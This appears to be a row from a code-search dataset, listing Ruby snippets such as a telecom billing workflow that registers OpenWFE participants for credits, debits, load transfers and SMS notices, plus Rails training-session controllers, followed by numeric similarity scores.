{|i|# self.wfe_engine.register_participant( \"#{i}_store\", ActiveTracker.new(\"#{i}\")) \n puts \"---REG PARticipant #{i}_store \"\n self.wfe_engine.register_participant \"#{i}_store\" do |workitem|\n puts \"#{i}_store got a workitem...\"\n #workitem.monkey_comment = \"this thing looks interesting\"\n end \n }\n \n self.wfe_engine.register_participant :credit do |workitem|\n puts \"----> credit action got a workitem...\" if @debug\n workitem.credit_result=false\n res= self.billing_action('credit',workitem.credit_msisdn,workitem.peso_value )\n puts \"action credit msisdn #{workitem.credit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n puts \"<----credit action finished res #{res}...\" if @debug\n workitem.process_result=res\n end\n self.wfe_engine.register_participant :pasaload do |workitem|\n puts \"----> pasaload action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"992\"\n puts \"before action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('pasaload',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----pasaload action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dealer_load do |workitem|\n puts \"----> dealer load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"913\"\n puts \"before action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dealer_load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----dealer load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n end\n self.wfe_engine.register_participant :load do |workitem|\n puts \"----> load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"990\"\n puts \"before action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.loadvalue=res[1] if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dispense_pin do |workitem|\n puts \"----> dispense_pin action got a workitem...\" if @debug\n workitem.process_result=false\n puts \"before action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dispense_pin', workitem.source_msisdn, workitem.value, workitem.dest_msisdn)\n puts \"action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res.to_s}\"\n puts \"<----load action finished res #{res}...\" if @debug\n # result = YAML.load\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.pin=res[1] if res[0]=='true'\n \n end\n \n \n self.wfe_engine.register_participant :debit do |workitem|\n puts \"----> debit action got a workitem...\" if @debug\n workitem.debit_result=false \n # peso charge -- could be variable\n value=-1*workitem.peso_value.to_i-1\n res=self.billing_action('debit',workitem.debit_msisdn,value.to_s )\n puts \"action debit msisdn #{workitem.debit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n workitem.process_result=res\n workitem.process_message=res\n puts \"<----debit action finsihed res #{res}...\" if @debug\n end\n self.wfe_engine.register_participant :monkey do |workitem|\n puts \"monkey got a workitem...\"\n workitem.monkey_comment = \"this thing looks interesting\"\n end\n self.wfe_engine.register_participant :intprocess2 do |workitem|\n puts \"process2 got a workitem...\"\n workitem.process2_comment = \"yeah process 2\"\n end\n self.wfe_engine.register_participant :bob do |workitem|\n puts \"bob got a workitem...\"\n workitem.bob_comment = \"not for me, I prefer VB\"\n workitem.bob_comment2 = \"Bob rules\"\n workitem.final_response = \"all ok\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.final_response\n end\n self.wfe_engine.register_participant :sms do |workitem|\n puts \"sms got a workitem...\"\n puts \"sms #{workitem.sms_destination} message: #{workitem.sms_message}\"\n res=send_sms(workitem.sms_message,workitem.sms_destination, workitem.sms_source)\n workitem.problem=!res \n end\n # needs workitem.email_target set\n mailp=OpenWFE::MailParticipant.new(\n :smtp_server => \"mail2.cure.com.ph\",\n :smtp_port => 25,\n :from_address => \"scott.sproule@cure.com.ph\"\n ) do |workitem|\n puts \"----> mail got workitem\"\n s = \"\"\n duration=Time.now-self.start_time\n s << \"Subject: Workflow PROCESS [#{workitem.process_name}] [#{workitem.final_response}]\\n\\n\"\n s << \"result is #{workitem.final_response}\\n\"\n s << \"Processing Time so far: #{duration} \\n\"\n s << \"summary of process #{workitem.fei.workflow_instance_id}\\n\"\n workitem.attributes.each do |k, v|\n s << \" - #{k} : '#{v}'\\n\"\n end \n s << \"Time: #{Time.new.to_s}\\n\"\n puts \"----> leaving mail\"\n s\n end\n self.wfe_engine.register_participant( \n \"mail\", mailp)\n \n \n self.wfe_engine.register_participant :debug do |workitem|\n puts \"--->debug got a workitem...\"\n puts \"--status of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n puts \" - #{k} : '#{v}'\"\n end\n puts '<------end of debug'\n end\n # summarize must be called to set final_response\n self.wfe_engine.register_participant :summarize do |workitem|\n puts \"---->Summarize got a workitem...\"\n # workitem.final_response=\"all ok\" if workitem.attributes['process_result']=='true' \n puts \"result is #{workitem.final_response}\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.process_message\n puts \"summary of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n # next unless k.match \".*_comment$\"\n puts \" - #{k} : '#{v}'\"\n end\n puts '<-------end of summary'\n end\n self.wfe_engine.register_participant :reverse_charges do |workitem|\n puts \"-----> reverse got a workitem...\"\n res=false\n if workitem.attributes['debit_result']=='true'\n value=1*workitem.peso_value.to_i+1\n res=self.billing_action('credit',workitem.debit_msisdn,value.to_s )\n puts \"return from reversing debit: #{res}\"\n end\n if workitem.attributes['credit_result']=='true'\n res= self.billing_action('debit',workitem.credit_msisdn,workitem.peso_value )\n puts \"return from reversing credit: #{res}\"\n end\n puts 'end of reverse charges'\n end\n self.wfe_engine.register_participant :process_failure do |workitem|\n puts \"----> process_failure got a workitem...\"\n res=false\n # res=send_sms(\"There was a problem with your request (process id:'#{workitem.fei.workflow_instance_id})'. Call *999 if you require further information\", workitem.source_msisdn, workitem.sms_source)\n puts \"<------ out of process failure\"\n end\n self.wfe_engine.register_participant :inform_success_pasa do |workitem|\n puts \"---->Inform_success_pasa got a workitem...\"\n res=true\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have sent #{workitem.value} pesos to #{workitem.dest_msisdn}: (process id:'#{workitem.fei.workflow_instance_id})'\", workitem.source_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.value} pesos from #{workitem.source_msisdn}: To check your balance, text BAL to 991\", workitem.dest_msisdn,workitem.sms_source) and res\n #(process id:#{workitem.fei.workflow_instance_id})\n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success_dispense_pin do |workitem|\n puts \"---->Inform_success_dispense_pin got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"Your pin is #{workitem.loadvalue} via tracking process id:'#{workitem.fei.workflow_instance_id}'\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_success_dispense_pin\"\n res\n end\n self.wfe_engine.register_participant :inform_success_load do |workitem|\n puts \"---->Inform_success_load got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have loaded #{workitem.loadvalue} pesos (process id: #{workitem.fei.workflow_instance_id})\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success do |workitem|\n puts \"Inform_success got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"You have sent #{workitem.peso_value} peso to #{workitem.credit_msisdn}: (process id:'#{workitem.fei.workflow_instance_id}')\", workitem.debit_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.peso_value} pesos from #{workitem.debit_msisdn}: tracking process id:'#{workitem.fei.workflow_instance_id}' \",workitem.credit_msisdn,workitem.sms_source) and res\n end\n end\n \nend",
"def set_training_request\n @training_request = TrainingRequest.find(params[:training_request_id])\n end",
"def start_registration\r\n \r\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def grant_training_skill?\n GRANT_TRAINING_SKILL.include?(self.name)\n end",
"def train(dataset)\n raise 'Override me!'\n end",
"def training_required?\n return training_required\n end",
"def create\n @session = FitnessSession.create(session_params)\n if @session.type_session_id == 1\n CyclingSession.create(:fitness_session_id =>@session.id)\n elsif @session.type_session_id == 2\n WeightLiftingSession.create(:fitness_session_id =>@session.id)\n else\n JoggingSession.create(:fitness_session_id =>@session.id)\n end\n\n #respond_to do |format|\n if @session.save\n redirect_to '/fitness_sessions/',notice: \"\"\n #format.html { redirect_to @session, notice: 'Session was successfully created.' }\n #format.json { render :show, status: :created, location: @session }\n else\n #format.html { render :new }\n redirect_to '/fitness_sessions/',notice: \"\"\n #format.json { render json: @session.errors, status: :unprocessable_entity }\n #end\n end\n end",
"def show\n training\n authorize @training \n end",
"def create\n\t\t@trainer = Trainer.new\n\t\t@trainer.user_id = session[:user_id]\n\t\t@trainer.active = 0\n\t\t@trainer.save\n\t\tredirect_to root_path\n\tend",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def set_train(train)\r\n @train = train\r\n end",
"def tsession_params\n params.require(:tsession).permit(:training_class_id, :subject_id, :room_id, :user_id, :start_time, :end_time, :status, :training_class_id, :user_id, :room_id, :subject_id, :member_class_id)\n end",
"def register\n end",
"def register\n end",
"def register\n end",
"def register\n end",
"def train\n \n # Current state of the action\n success = false\n \n message = \"\"\n \n # Check all the parameters are available, and add face\n if !params[:face].nil? && !params[:ref].nil? && @user.add_face(params[:ref],params[:face])\n \n # Action was a success\n success = true\n \n # Notice message\n message = \"Face was successfully added to your set\"\n \n else\n \n # Notice message\n message = \"Face could not be added to your set\"\n \n end\n \n flash[:notice] = message\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { render :json => { :success => success, :message => message } }\n end\n \n end",
"def notes_from_training\n end",
"def pbRegisterPartner(trainerid,trainername,partyid=0)\n Kernel.pbCancelVehicles\n trainer=pbLoadTrainer(trainerid,trainername,partyid)\n Events.onTrainerPartyLoad.trigger(nil,trainer)\n trainerobject=PokeBattle_Trainer.new(_INTL(trainer[0].name),trainerid)\n trainerobject.setForeignID($Trainer)\n for i in trainer[2]\n i.trainerID=trainerobject.id\n i.ot=trainerobject.name\n i.calcStats\n end\n $PokemonGlobal.partner=[trainerid,trainerobject.name,trainerobject.id,trainer[2]]\nend",
"def enrollment_start\n session[:enrollment] = \"1\"\n redirect_to consent_path\n end",
"def on_new_session(session)\n self.session_count += 1\n self.successful = true\n end",
"def assign_introducer\n session[:introducer] = params[:introducer] if params[:introducer]\n end",
"def set_trainer\n @trainer = current_trainer\n end",
"def create\n session = Session.new\n session.name = params[:name]\n session.description = params[:description]\n session.start_time = params[:date]\n # TODO: need date\n # TODO: need topic\n session.active = true;\n # add ot_session.id\n ot_session = @@opentok.create_session({media_mode: :routed})\n session.session_id = ot_session.session_id\n # try and save the session\n saved = session.save\n # add moderators\n params[:moderators].each do |moderator|\n SessionUser.create(session_id: session.id, user_id: moderator[:id], role: 'moderator', center_stage: true)\n end\n # add subscribers\n params[:subscribers].each do |subscriber|\n puts subscriber\n SessionUser.create(session_id: session.id, user_id: subscriber[:id], role: 'publisher', center_stage: false)\n end\n if saved\n render json: {message: \"Event: #{session.name} successfully added\"}, status: 200\n else\n render json: {errors: session.errors.to_json}, status: 500\n end\n end",
"def on_session_interact(session)\n\tend",
"def set_user_training\n @user_training = UserTraining.find_by_id( params[:id].to_i )\n end",
"def enrollment_params\n params.require(:enrollment).permit(:attended, :user_id, :training_session_id)\n end",
"def set_personal_training\n @personal_training = PersonalTraining.find(params[:id])\n end",
"def valid_training_session\r\n begin\r\n #Lanza una excepcin si la sesion no existe\r\n #debe llamarse @ses como en show, si no cascar la cach\r\n @ses = get_object\r\n if @ses.private && !write_permission?\r\n flash[:error] = 'Session does not exist or is private.'\r\n redirect_to :action => 'index'\r\n end\r\n rescue\r\n flash[:error] = 'Session does not exist.'\r\n redirect_to :action => 'index'\r\n end\r\n end",
"def session\n end",
"def createSession\n # not having valid device id or device type. \n @deviceType = nil\n if (\n params.has_key?(:did) == false || params[:did].empty? || \n params.has_key?(:dtype) == false || params[:dtype].empty? ||\n (@deviceType = DeviceType.where(name: params[:dtype]).first) == nil || \n params.has_key?(:experiment_id) == false || params[:experiment_id].empty? ||\n (@experiment = UteExperiment.where(:experiment_code => params[:experiment_id], :is_active => true).first) == nil\n ) \n respond_to do |format|\n format.html { render text: 'Unauthorized', :status => :unauthorized }\n format.json { \n render :json => [], :status => :unauthorized \n }\n end\n return\n end\n\n @sessionId = generateNewSessionId\n\n while isSessionIdAlreadyExist(@experiment.experiment_code, @sessionId) do\n @sessionId = generateNewSessionId\n end\n\n #create sessionid\n @deviceId = params[:did]\n puts('device id:'+@deviceId)\n begin\n @newsession = @experiment.ute_ex_sessions.create!(\n session_code: @sessionId,\n is_active: true,\n initiated_by_device_id: @deviceId,\n is_created_offline: false\n )\n rescue => e\n puts(e.message)\n end\n\n puts('creating new session object')\n if @newsession\n @newsession.ute_ex_session_connections.create!(device_id: @deviceId, device_model: params[\"model\"], device_type: @deviceType.id, is_active: true, connected_at: Time.now.getutc.to_f)\n \n #torender = { \n # 'sessionId' => @sessionId,\n # 'created_at' => @newsession.created_at.to_time.to_f,\n # 'settings' => {\n # 'version' => 1.0,\n # 'maximumRecordingDuration' => 0,\n # 'sensors' => [\n # { :name => 'accelerometer', :freq => 50 },\n # { :name => 'magnetometer', :freq => 50 },\n # { :name => 'gyroscope', :freq => 50 },\n # { :name => 'gps', :freq => 1 }\n # ],\n # 'label' => {\n # 'type' => 'interval',\n # 'schema' => [\n # { 'set' => [ 'standing', 'sitting', 'walking', 'running' ], 'is_nullable' => true, 'only_can_select_one' => true }\n # ]\n # }\n # }\n #}.to_json \n\n @settings = @experiment.read_attribute(:settings)\n\n torender = { \n 'status' => 'OK',\n 'sessionId' => @newsession.session_code,\n 'created_at' => @newsession.created_at.to_time.to_f,\n 'settings' => @settings\n }.to_json \n\n respond_to do |format|\n\n format.html { render text: 'Your Session: ' + @sessionId + ', json details: <br/>' + torender }\n format.json { \n #{'foo' => 'bar'}.to_json\n # render :json => '{ \"\\\"sessionId\\\"\": \"TEST001\" }' \n render json: torender\n }\n end\n else \n # reply with invalid session created\n respond_to do |format|\n format.html { render text: 'There is an error creating a new session.' }\n format.json { \n #{'foo' => 'bar'}.to_json\n # render :json => '{ \"\\\"sessionId\\\"\": \"TEST001\" }' \n render json: { 'error' => 'Error creating new session' }.to_json \n }\n end\n end\n end",
"def add_session(session, options = {})\n session.each{|s| add_session(s, options)} and return if session.is_a?(Array)\n options = { :include_heading => true }.merge(options)\n puts \"\\n\\nAdding session #{session.id}\"\n session_heading(session) if options[:include_heading] == true\n apps = session.presenters.sort{|x,y| x.offering_session_order.nil? ? x.fullname <=> y.fullname : x.offering_session_order.to_i <=> y.offering_session_order.to_i }\n add_abstracts(apps)\n end",
"def pbRegisterPartner(trainerid,trainername,partyid=0)\n if trainerid.is_a?(String) || trainerid.is_a?(Symbol)\n trainerid = getID(PBTrainers,trainerid)\n end\n Kernel.pbCancelVehicles\n trainer = pbLoadTrainer(trainerid,trainername,partyid)\n Events.onTrainerPartyLoad.trigger(nil,trainer)\n trainerobject = PokeBattle_Trainer.new(_INTL(trainer[0].name),trainerid)\n trainerobject.setForeignID($Trainer)\n for i in trainer[2]\n i.trainerID = trainerobject.id\n i.ot = trainerobject.name\n i.calcStats\n end\n $PokemonGlobal.partner = [trainerid,trainerobject.name,trainerobject.id,trainer[2]]\nend",
"def new_session\n session = IntegrationSession.new\n session.test_case = self\n return session\n end",
"def update_spe_training\n\t\tif !params[:profile_setting].present?\n\t\t\tredirect_to user_profile_data_profile_path \n\t\telse\n\t\t\t# creating the spec training the according the spe training params\n\t\t\t@spe_training = @user.update_attributes(spe_training_params)\n\t\t\t# redirect to the profile app page\n\t\t\tredirect_to user_profile_data_profile_path\n\t\tend\n\tend",
"def start_session(endpoint); end",
"def register\n @is_registered = true\n self\n end",
"def training_params\n params.require(:training).permit(:title, student_attributes: [:name], exercises_attributes: [:name, :sets, :reps, :rest, :muscle_group, :training_id, :id, :_destroy])\n end",
"def spe_training_params\n\t\tparams.require(:profile_setting).permit( spe_trainings_attributes: [:id, :text, :_destroy])\n\tend",
"def new_session\n IntegrationSession.new\n end",
"def set_trainbot\n @trainbot = Trainbot.find(params[:id])\n end",
"def show\n @trainer = current_trainer\n @training_sessions = TrainingSession.all.where(trainer_id: session[:user_id])\n end",
"def setup\n open_session\n end",
"def initialize(session = DataSession.new)\n @data_session = session\n data_session.update_scenario_helpers self.class\n self.extend data_session.table_readers\n self.extend data_session.scenario_helpers\n end",
"def train(query:)\n Trainer.train(query: query)\n end",
"def training_method_params\n params.require(:training_method).permit(:name, :description)\n end",
"def register\n raise NotImprementedError\n end",
"def inscription\n @association = Association.new\n @ci = ChampIntervention.new\n @convention = Convention.new\n @conv_co = \"\"\n @index = 0\n @questionnaire = Quest.new()\n session[:original_uri] = request.request_uri\n session[:token] = nil\n @token = make_token()\n session[:token] = @token\n end",
"def _interact\n\t\tframework.events.on_session_interact(self)\n\tend"
] |
[
"0.6975504",
"0.61576676",
"0.58912003",
"0.58839667",
"0.58700556",
"0.5689034",
"0.5632438",
"0.5586304",
"0.55642205",
"0.5550762",
"0.5498005",
"0.5471122",
"0.5458902",
"0.5431291",
"0.53916645",
"0.5379414",
"0.5366877",
"0.53623873",
"0.5350027",
"0.5345255",
"0.5339363",
"0.5320554",
"0.5310522",
"0.53074956",
"0.52786356",
"0.5227285",
"0.5173639",
"0.51690286",
"0.51570684",
"0.5152113",
"0.51426756",
"0.51426756",
"0.51426756",
"0.51426756",
"0.51426756",
"0.51426756",
"0.51426756",
"0.51397866",
"0.5134269",
"0.5125377",
"0.51211137",
"0.5119988",
"0.51088077",
"0.510433",
"0.5101763",
"0.5096507",
"0.5084449",
"0.50726306",
"0.5071276",
"0.50617164",
"0.50522196",
"0.5049791",
"0.504886",
"0.5048005",
"0.5020913",
"0.5000328",
"0.498767",
"0.4966716",
"0.4966716",
"0.4966716",
"0.4966716",
"0.49587607",
"0.49527386",
"0.49443126",
"0.4942956",
"0.4942956",
"0.4942956",
"0.49382207",
"0.493615",
"0.49353912",
"0.49334705",
"0.49330783",
"0.49294588",
"0.49283665",
"0.49180913",
"0.49162918",
"0.49024147",
"0.49010673",
"0.48989144",
"0.48980936",
"0.4891308",
"0.48805043",
"0.48681438",
"0.48611033",
"0.48569152",
"0.48553568",
"0.48550165",
"0.48521602",
"0.485011",
"0.48451343",
"0.48445576",
"0.48425484",
"0.48421738",
"0.4840495",
"0.48400646",
"0.4833575",
"0.48322803",
"0.48299703",
"0.48299322",
"0.4819298"
] |
0.6038994
|
2
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.